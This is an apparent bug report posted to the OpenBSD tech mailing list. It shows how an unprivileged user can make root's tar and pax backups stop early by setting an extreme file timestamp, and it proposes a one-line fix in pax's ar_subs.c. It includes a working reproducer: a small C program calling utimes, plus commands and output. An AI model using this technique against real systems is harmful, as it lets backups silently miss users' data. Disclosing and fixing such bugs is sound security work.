Index | Thread | Search

From:
Crystal Kolipe <kolipe.c@exoticsilicon.com>
Subject:
PAX bug allows unprivileged user to disrupt backups
To:
tech@openbsd.org
Date:
Sun, 22 Jun 2025 04:38:25 -0300

Download raw body.

Thread
It's possible for a non-root user with no special permissions to disrupt
backups made by root using tar and pax.  Note that cpio is not affected.

This is done by abusing file modification timestamps and fooling tar into
quitting early.


Reproducer:

* In this scenario, 'user_2' is a regular user account with malicious intent.

mod_timestamp.c is simply:

#include <stdio.h>
#include <sys/time.h>

int main()
{
struct timeval mod[2];
mod[0].tv_sec=0;
mod[0].tv_usec=0;
mod[1].tv_sec=10000000000000000;
mod[1].tv_usec=0;
printf ("%d\n",utimes ("/fake_home/user_2/file_a", mod));
}


Set up the simulated environment as root:

# mkdir /fake_home
# mkdir /fake_home/user_1
# mkdir /fake_home/user_2
# mkdir /fake_home/user_3
# chown user_2:user_2 /fake_home/user_2
# echo foo > /fake_home/user_1/file_a
# echo foo > /fake_home/user_1/file_b
# echo foo > /fake_home/user_3/file_a
# echo foo > /fake_home/user_3/file_b


Now, as user_2:

$ echo foo > /fake_home/user_2/file_a
$ cc -o mod_timestamp mod_timestamp.c
$ ./mod_timestamp
$ ls -lt
-rw-r--r--  1 user_2  user_2  4 Jan 25  316889355 /fake_home/user_2/file_a


Now, as root, perform a backup of /fake_home using tar:

# tar -cvf /tmp/backup.tar /fake_home/
tar: Removing leading / from absolute path names in the archive
/fake_home
/fake_home/user_1
/fake_home/user_1/file_a
/fake_home/user_1/file_b
/fake_home/user_2
/fake_home/user_2/file_a


# tar -tvf /tmp/backup.tar
drwxr-xr-x  2 root     wheel            0 Jun 22 07:50 /fake_home
drwxr-xr-x  2 root     wheel            0 Jun 22 07:50 /fake_home/user_1
-rw-r--r--  1 root     wheel            4 Jun 22 07:50 /fake_home/user_1/file_a
-rw-r--r--  1 root     wheel            4 Jun 22 07:50 /fake_home/user_1/file_b
drwxr-xr-x  2 user_2   user_2           0 Jun 22 07:51 /fake_home/user_2


Pax is also affected in the same way:

# pax -vw -f /ramdisk/p.tar /fake_home/
/fake_home
/fake_home/user_1
/fake_home/user_1/file_a
/fake_home/user_1/file_b
/fake_home/user_2
/fake_home/user_2/file_a
pax: pax vol 1, 6 files, 0 bytes read, 10240 bytes written.


Note that cpio is _not_ affected:

# find /fake_home > /tmp/flist
# cpio -o > /tmp/backup.cpio < /tmp/flist
cpio: Sv4cpio header field is too small for file /fake_home/user_2/file_a
# tar -tvf /tmp/backup.cpio
tar: Removing leading / from absolute path names in the archive
drwxr-xr-x  5 root     wheel            0 Jun 22 07:50 /fake_home
drwxr-xr-x  2 root     wheel            0 Jun 22 07:50 /fake_home/user_1
-rw-r--r--  1 root     wheel            4 Jun 22 07:50 /fake_home/user_1/file_a
-rw-r--r--  1 root     wheel            4 Jun 22 07:50 /fake_home/user_1/file_b
drwxr-xr-x  2 user_2   user_2           0 Jun 22 07:51 /fake_home/user_2
-rw-r--r--  1 user_2   user_2           4 Jun 22 07:50 /fake_home/user_2/file_b
drwxr-xr-x  2 root     wheel            0 Jun 22 07:50 /fake_home/user_3
-rw-r--r--  1 root     wheel            4 Jun 22 07:50 /fake_home/user_3/file_a
-rw-r--r--  1 root     wheel            4 Jun 22 07:50 /fake_home/user_3/file_b


Problem code:

The premature end of processing is caused by a break statement in wr_archive()
in ar_subs.c:

		/*
		 * looks safe to store the file, have the format specific
		 * routine write routine store the file header on the archive
		 */
		if ((res = (*wrf)(arcn)) < 0) {
			rdfile_close(arcn, &fd);
			break;
		}


If we s/break/continue, then behaviour of pax matches cpio, in that the file
with the unsupported timestamp is not stored in the archive, but archive
processing otherwise continues:

--- bin/pax/ar_subs.c.dist	Sun Jul 14 15:32:02 2024
+++ bin/pax/ar_subs.c	Sun Jun 22 08:30:59 2025
@@ -536,7 +536,7 @@
 		 */
 		if ((res = (*wrf)(arcn)) < 0) {
 			rdfile_close(arcn, &fd);
-			break;
+			continue ;
 		}
 		wr_one = 1;
 		if (res > 0) {


More elegant solutions and better error handling are probably possible.